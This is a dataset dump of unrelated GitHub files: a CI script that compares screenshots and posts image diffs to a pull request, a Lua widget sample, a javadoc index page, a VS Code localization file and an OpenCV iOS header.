# GitHub/JSON don't like tabs which comm can output, so delete them with tr
com_master_pr=$(comm -2 -3 <(echo "$master_images") <(echo "$pr_images") | tr -d '\t')
com_pr_master=$(comm -1 -3 <(echo "$master_images") <(echo "$pr_images") | tr -d '\t')
com_both_have=$(comm -1 -2 <(echo "$master_images") <(echo "$pr_images") | tr -d '\t')
if [[ ! -z "${com_master_pr}" ]]; then
gh_comment="Error: The following images are found in master but not the pull request:\n"
while read -r image; do
gh_comment+="${image}\n"
done <<< ${com_master_pr}
echo -e "${gh_comment}"
echo "Aborting!"
fi
if [[ ! -z "${com_pr_master}" ]]; then
new_images_comment="Warning: The following images are found in the pull request but not master (new tests?):"
gh_comment+="${new_images_comment}\n"
echo "${new_images_comment}"
echo "${com_pr_master}"
echo "Continuing..."
if [[ "$TRAVIS" -eq "true" ]]; then
gh_comment+="\n"
while read -r image; do
imgur_response=$(imgur_upload "${pr_dir}/${image}")
imgur_url=$(echo $imgur_response | jq --raw-output '.data."link"' )
gh_comment+="### ${image}\n<a href='$imgur_url'><img alt='${image}' src='$imgur_url' width='200'/></a>\n"
done <<< "${com_pr_master}"
fi
fi
if [[ -z "${master_images}" ]]; then
echo "Error: Comparison image folder is empty. Something is horribly wrong..."
elif [[ ! -z "${com_both_have}" ]]; then
while read -r image; do
diffname="${diff_dir}"/$(basename "${image}" .png)"_diff.png"
echo "Comparing ${master_dir}/${image} to ${pr_dir}/${image}..."
result=$(compare -metric AE "${master_dir}/${image}" "${pr_dir}/${image}" "${diffname}" 2>&1 >/dev/null)
echo "$result"
if [[ "$result" -eq "0" ]]; then
echo "No differences detected :)"
else
echo "Mismatches detected :("
if [[ "$TRAVIS" -eq "true" ]]; then
echo "Uploading images..."
imgur_response=$(imgur_upload "${pr_dir}/${image}")
imgur_master_response=$(imgur_upload "${master_dir}/${image}")
imgur_diff_response=$(imgur_upload "${diffname}")
imgur_url=$(echo $imgur_response | jq --raw-output '.data."link"' )
imgur_master_url=$(echo $imgur_master_response | jq --raw-output '.data."link"' )
imgur_diff_url=$(echo $imgur_diff_response | jq --raw-output '.data."link"' )
echo $imgur_url
gh_comment_images="<a href='$imgur_url'><img alt='Image Diff' src='$imgur_url' width='200'/></a>|\
<a href='$imgur_master_url'><img alt='Image Diff' src='$imgur_master_url' width='200'/></a>|\
<a href='$imgur_diff_url'><img alt='Screen Save' src='$imgur_diff_url' width='200'/></a>\n"
fi
fi
done <<< "${com_both_have}"
if [[ "$TRAVIS" -eq "true" ]] && [[ ! -z "${gh_comment_images}" ]]; then
gh_comment+="${gh_comment_header}${gh_comment_images}"
fi
fi
if [[ "$TRAVIS" -eq "true" ]] && [[ ! -z "${gh_comment}" ]]; then
enigmabot_post_comment "${gh_comment}"
fi
| {
"pile_set_name": "Github"
} |
module(..., package.seeall)
text =
[[こんにちは。TextViewのサンプルです。
任意のサイズのテキストを表示できます。
改行もできます。
あ
あ
あ
あ
あ
あ
あ
あ
あ
あ
あ
あ]]
--------------------------------------------------------------------------------
-- Event Handler
--------------------------------------------------------------------------------
function onCreate(e)
textView = widget.TextView {
size = {200, 300},
pos = {50, 50},
text = text,
scene = scene,
}
end
| {
"pile_set_name": "Github"
} |
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>@ViewBag.Host</title>
<style>
body {
margin: 32px;
font-size: 2em;
font-family: Arial;
}
</style>
</head>
<body>
<div style="text-align: center">
http://@ViewBag.Host
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
require('../../../modules/es7.string.trim-left');
module.exports = require('../../../modules/_entry-virtual')('String').trimLeft;
| {
"pile_set_name": "Github"
} |
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<!--NewPage-->
<HTML>
<HEAD>
<!-- Generated by javadoc (build 1.6.0_01) on Mon Aug 04 16:56:49 EDT 2008 -->
<TITLE>
I-Index
</TITLE>
<META NAME="date" CONTENT="2008-08-04">
<LINK REL ="stylesheet" TYPE="text/css" HREF="../stylesheet.css" TITLE="Style">
<SCRIPT type="text/javascript">
function windowTitle()
{
if (location.href.indexOf('is-external=true') == -1) {
parent.document.title="I-Index";
}
}
</SCRIPT>
<NOSCRIPT>
</NOSCRIPT>
</HEAD>
<BODY BGCOLOR="white" onload="windowTitle();">
<HR>
<!-- ========= START OF TOP NAVBAR ======= -->
<A NAME="navbar_top"><!-- --></A>
<A HREF="#skip-navbar_top" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_top_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Package</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Use</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Index</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="index-8.html"><B>PREV LETTER</B></A>
<A HREF="index-10.html"><B>NEXT LETTER</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../index.html?index-filesindex-9.html" target="_top"><B>FRAMES</B></A>
<A HREF="index-9.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_top"></A>
<!-- ========= END OF TOP NAVBAR ========= -->
<A HREF="index-1.html">A</A> <A HREF="index-2.html">B</A> <A HREF="index-3.html">C</A> <A HREF="index-4.html">D</A> <A HREF="index-5.html">E</A> <A HREF="index-6.html">F</A> <A HREF="index-7.html">G</A> <A HREF="index-8.html">H</A> <A HREF="index-9.html">I</A> <A HREF="index-10.html">J</A> <A HREF="index-11.html">L</A> <A HREF="index-12.html">M</A> <A HREF="index-13.html">O</A> <A HREF="index-14.html">P</A> <A HREF="index-15.html">R</A> <A HREF="index-16.html">S</A> <A HREF="index-17.html">T</A> <A HREF="index-18.html">U</A> <A HREF="index-19.html">W</A> <A HREF="index-20.html">Z</A> <HR>
<A NAME="_I_"><!-- --></A><H2>
<B>I</B></H2>
<DL>
<DT><A HREF="../jjil/algorithm/Fft1d.html#ifft(jjil.core.Complex[])"><B>ifft(Complex[])</B></A> -
Method in class jjil.algorithm.<A HREF="../jjil/algorithm/Fft1d.html" title="class in jjil.algorithm">Fft1d</A>
<DD>Computes inverse FFT of the input complex array.
<DT><A HREF="../jjil/algorithm/IFftComplex32.html" title="class in jjil.algorithm"><B>IFftComplex32</B></A> - Class in <A HREF="../jjil/algorithm/package-summary.html">jjil.algorithm</A><DD>Computes the inverse FFT of the input Complex32Image.<DT><A HREF="../jjil/algorithm/IFftComplex32.html#IFftComplex32(boolean)"><B>IFftComplex32(boolean)</B></A> -
Constructor for class jjil.algorithm.<A HREF="../jjil/algorithm/IFftComplex32.html" title="class in jjil.algorithm">IFftComplex32</A>
<DD>Creates a new instance of IFftComplex32
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#ILLEGAL_COLOR_CHOICE"><B>ILLEGAL_COLOR_CHOICE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Color not red, green, or blue.
<DT><A HREF="../jjil/core/Complex.html#imag()"><B>imag()</B></A> -
Method in class jjil.core.<A HREF="../jjil/core/Complex.html" title="class in jjil.core">Complex</A>
<DD>The imaginary component of the complex number.
<DT><A HREF="../jjil/core/Image.html" title="class in jjil.core"><B>Image</B></A> - Class in <A HREF="../jjil/core/package-summary.html">jjil.core</A><DD>Image is the fundamental abstract class for holding images.<DT><A HREF="../jjil/core/Image.html#Image(int, int)"><B>Image(int, int)</B></A> -
Constructor for class jjil.core.<A HREF="../jjil/core/Image.html" title="class in jjil.core">Image</A>
<DD>Creates a new instance of Image
<DT><A HREF="../jjil/core/ErrorCodes.html#IMAGE_MASK_SIZE_MISMATCH"><B>IMAGE_MASK_SIZE_MISMATCH</B></A> -
Static variable in class jjil.core.<A HREF="../jjil/core/ErrorCodes.html" title="class in jjil.core">ErrorCodes</A>
<DD>image and mask sizes don't match
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_NOT_COMPLEX32IMAGE"><B>IMAGE_NOT_COMPLEX32IMAGE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image has to be a Complex32Image.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_NOT_GRAY16IMAGE"><B>IMAGE_NOT_GRAY16IMAGE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image has to be a Gray16Image.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_NOT_GRAY32IMAGE"><B>IMAGE_NOT_GRAY32IMAGE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image has to be a Gray16Image.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_NOT_GRAY8IMAGE"><B>IMAGE_NOT_GRAY8IMAGE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image has to be a Gray16Image.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_NOT_RGBIMAGE"><B>IMAGE_NOT_RGBIMAGE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image has to be an RgbImage.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_NOT_SQUARE"><B>IMAGE_NOT_SQUARE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image has to be square.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_SIZES_DIFFER"><B>IMAGE_SIZES_DIFFER</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>Input image sizes differ, should be same.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IMAGE_TOO_SMALL"><B>IMAGE_TOO_SMALL</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>input image smaller than minimum.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#INPUT_IMAGE_SIZE_NEGATIVE"><B>INPUT_IMAGE_SIZE_NEGATIVE</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>bounds set input image size to be negative (or zero).
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#INPUT_TERMINATED_EARLY"><B>INPUT_TERMINATED_EARLY</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>the input terminated before expected (parse error).
<DT><A HREF="../jjil/algorithm/BinaryHeap.html#insert(jjil.algorithm.ComparableJ2me)"><B>insert(ComparableJ2me)</B></A> -
Method in class jjil.algorithm.<A HREF="../jjil/algorithm/BinaryHeap.html" title="class in jjil.algorithm">BinaryHeap</A>
<DD>Insert into the priority queue.
<DT><A HREF="../jjil/algorithm/PriorityQueue.html#insert(jjil.algorithm.ComparableJ2me)"><B>insert(ComparableJ2me)</B></A> -
Method in interface jjil.algorithm.<A HREF="../jjil/algorithm/PriorityQueue.html" title="interface in jjil.algorithm">PriorityQueue</A>
<DD>Insert into the priority queue, maintaining heap order.
<DT><A HREF="../jjil/algorithm/InverseFilter.html" title="class in jjil.algorithm"><B>InverseFilter</B></A> - Class in <A HREF="../jjil/algorithm/package-summary.html">jjil.algorithm</A><DD>Computes the inverse filter of the input image, given an input point spread
function and noise level.<DT><A HREF="../jjil/algorithm/InverseFilter.html#InverseFilter(jjil.core.Gray8Image, int)"><B>InverseFilter(Gray8Image, int)</B></A> -
Constructor for class jjil.algorithm.<A HREF="../jjil/algorithm/InverseFilter.html" title="class in jjil.algorithm">InverseFilter</A>
<DD>Creates a new instance of InverseFilter.
<DT><A HREF="../jjil/algorithm/ErrorCodes.html#IO_EXCEPTION"><B>IO_EXCEPTION</B></A> -
Static variable in class jjil.algorithm.<A HREF="../jjil/algorithm/ErrorCodes.html" title="class in jjil.algorithm">ErrorCodes</A>
<DD>unspecified IO Exception.
<DT><A HREF="../jjil/algorithm/BinaryHeap.html#isEmpty()"><B>isEmpty()</B></A> -
Method in class jjil.algorithm.<A HREF="../jjil/algorithm/BinaryHeap.html" title="class in jjil.algorithm">BinaryHeap</A>
<DD>Test if the priority queue is logically empty.
<DT><A HREF="../jjil/algorithm/Gray8SubImageGenerator.html#isEmpty()"><B>isEmpty()</B></A> -
Method in class jjil.algorithm.<A HREF="../jjil/algorithm/Gray8SubImageGenerator.html" title="class in jjil.algorithm">Gray8SubImageGenerator</A>
<DD>Returns true when no more subimages are available from the input image.
<DT><A HREF="../jjil/algorithm/MaskedGray32SubImgGen.html#isEmpty()"><B>isEmpty()</B></A> -
Method in class jjil.algorithm.<A HREF="../jjil/algorithm/MaskedGray32SubImgGen.html" title="class in jjil.algorithm">MaskedGray32SubImgGen</A>
<DD>Returns true iff there is another image available from getFront().
<DT><A HREF="../jjil/algorithm/MaskedGray8SubImgGen.html#isEmpty()"><B>isEmpty()</B></A> -
Method in class jjil.algorithm.<A HREF="../jjil/algorithm/MaskedGray8SubImgGen.html" title="class in jjil.algorithm">MaskedGray8SubImgGen</A>
<DD>Returns true iff there is another image available from getFront().
<DT><A HREF="../jjil/algorithm/PriorityQueue.html#isEmpty()"><B>isEmpty()</B></A> -
Method in interface jjil.algorithm.<A HREF="../jjil/algorithm/PriorityQueue.html" title="interface in jjil.algorithm">PriorityQueue</A>
<DD>Test if the priority queue is logically empty.
<DT><A HREF="../jjil/core/PipelineStage.html#isEmpty()"><B>isEmpty()</B></A> -
Method in class jjil.core.<A HREF="../jjil/core/PipelineStage.html" title="class in jjil.core">PipelineStage</A>
<DD>Returns true iff this pipeline stage does not have an
output available.
<DT><A HREF="../jjil/core/Sequence.html#isEmpty()"><B>isEmpty()</B></A> -
Method in class jjil.core.<A HREF="../jjil/core/Sequence.html" title="class in jjil.core">Sequence</A>
<DD>Returns true iff the pipeline has no image available
</DL>
<HR>
<!-- ======= START OF BOTTOM NAVBAR ====== -->
<A NAME="navbar_bottom"><!-- --></A>
<A HREF="#skip-navbar_bottom" title="Skip navigation links"></A>
<TABLE BORDER="0" WIDTH="100%" CELLPADDING="1" CELLSPACING="0" SUMMARY="">
<TR>
<TD COLSPAN=2 BGCOLOR="#EEEEFF" CLASS="NavBarCell1">
<A NAME="navbar_bottom_firstrow"><!-- --></A>
<TABLE BORDER="0" CELLPADDING="0" CELLSPACING="3" SUMMARY="">
<TR ALIGN="center" VALIGN="top">
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../overview-summary.html"><FONT CLASS="NavBarFont1"><B>Overview</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Package</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Class</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <FONT CLASS="NavBarFont1">Use</FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../overview-tree.html"><FONT CLASS="NavBarFont1"><B>Tree</B></FONT></A> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../deprecated-list.html"><FONT CLASS="NavBarFont1"><B>Deprecated</B></FONT></A> </TD>
<TD BGCOLOR="#FFFFFF" CLASS="NavBarCell1Rev"> <FONT CLASS="NavBarFont1Rev"><B>Index</B></FONT> </TD>
<TD BGCOLOR="#EEEEFF" CLASS="NavBarCell1"> <A HREF="../help-doc.html"><FONT CLASS="NavBarFont1"><B>Help</B></FONT></A> </TD>
</TR>
</TABLE>
</TD>
<TD ALIGN="right" VALIGN="top" ROWSPAN=3><EM>
</EM>
</TD>
</TR>
<TR>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="index-8.html"><B>PREV LETTER</B></A>
<A HREF="index-10.html"><B>NEXT LETTER</B></A></FONT></TD>
<TD BGCOLOR="white" CLASS="NavBarCell2"><FONT SIZE="-2">
<A HREF="../index.html?index-filesindex-9.html" target="_top"><B>FRAMES</B></A>
<A HREF="index-9.html" target="_top"><B>NO FRAMES</B></A>
<SCRIPT type="text/javascript">
<!--
if(window==top) {
document.writeln('<A HREF="../allclasses-noframe.html"><B>All Classes</B></A>');
}
//-->
</SCRIPT>
<NOSCRIPT>
<A HREF="../allclasses-noframe.html"><B>All Classes</B></A>
</NOSCRIPT>
</FONT></TD>
</TR>
</TABLE>
<A NAME="skip-navbar_bottom"></A>
<!-- ======== END OF BOTTOM NAVBAR ======= -->
<A HREF="index-1.html">A</A> <A HREF="index-2.html">B</A> <A HREF="index-3.html">C</A> <A HREF="index-4.html">D</A> <A HREF="index-5.html">E</A> <A HREF="index-6.html">F</A> <A HREF="index-7.html">G</A> <A HREF="index-8.html">H</A> <A HREF="index-9.html">I</A> <A HREF="index-10.html">J</A> <A HREF="index-11.html">L</A> <A HREF="index-12.html">M</A> <A HREF="index-13.html">O</A> <A HREF="index-14.html">P</A> <A HREF="index-15.html">R</A> <A HREF="index-16.html">S</A> <A HREF="index-17.html">T</A> <A HREF="index-18.html">U</A> <A HREF="index-19.html">W</A> <A HREF="index-20.html">Z</A> <HR>
</BODY>
</HTML>
| {
"pile_set_name": "Github"
} |
{
"": [
"--------------------------------------------------------------------------------------------",
"Copyright (c) Microsoft Corporation. All rights reserved.",
"Licensed under the MIT License. See License.txt in the project root for license information.",
"--------------------------------------------------------------------------------------------",
"Do not edit this file. It is machine generated."
],
"version": "1.0.0",
"contents": {
"package": {
"displayName": "Shaderlab 语言基础功能",
"description": "在 Shaderlab 文件中提供语法高亮和括号匹配功能。"
}
}
} | {
"pile_set_name": "Github"
} |
How to play a sound file in Java
Template methods in abstract classes
The `abstract` keyword
Double Brace Initialization
How and when to use `WeakHashMap` class | {
"pile_set_name": "Github"
} |
/*M///////////////////////////////////////////////////////////////////////////////////////
//
// IMPORTANT: READ BEFORE DOWNLOADING, COPYING, INSTALLING OR USING.
//
// By downloading, copying, installing or using the software you agree to this license.
// If you do not agree to this license, do not download, install,
// copy or use the software.
//
//
// License Agreement
// For Open Source Computer Vision Library
//
// Copyright (C) 2000-2008, Intel Corporation, all rights reserved.
// Copyright (C) 2009, Willow Garage Inc., all rights reserved.
// Third party copyrights are property of their respective owners.
//
// Redistribution and use in source and binary forms, with or without modification,
// are permitted provided that the following conditions are met:
//
// * Redistribution's of source code must retain the above copyright notice,
// this list of conditions and the following disclaimer.
//
// * Redistribution's in binary form must reproduce the above copyright notice,
// this list of conditions and the following disclaimer in the documentation
// and/or other materials provided with the distribution.
//
// * The name of the copyright holders may not be used to endorse or promote products
// derived from this software without specific prior written permission.
//
// This software is provided by the copyright holders and contributors "as is" and
// any express or implied warranties, including, but not limited to, the implied
// warranties of merchantability and fitness for a particular purpose are disclaimed.
// In no event shall the Intel Corporation or contributors be liable for any direct,
// indirect, incidental, special, exemplary, or consequential damages
// (including, but not limited to, procurement of substitute goods or services;
// loss of use, data, or profits; or business interruption) however caused
// and on any theory of liability, whether in contract, strict liability,
// or tort (including negligence or otherwise) arising in any way out of
// the use of this software, even if advised of the possibility of such damage.
//
//M*/
#import <UIKit/UIKit.h>
#import <Accelerate/Accelerate.h>
#import <AVFoundation/AVFoundation.h>
#import <ImageIO/ImageIO.h>
#include "opencv2/core/core.hpp"
//! @addtogroup imgcodecs_ios
//! @{
UIImage* MatToUIImage(const cv::Mat& image);
void UIImageToMat(const UIImage* image,
cv::Mat& m, bool alphaExist = false);
//! @}
| {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.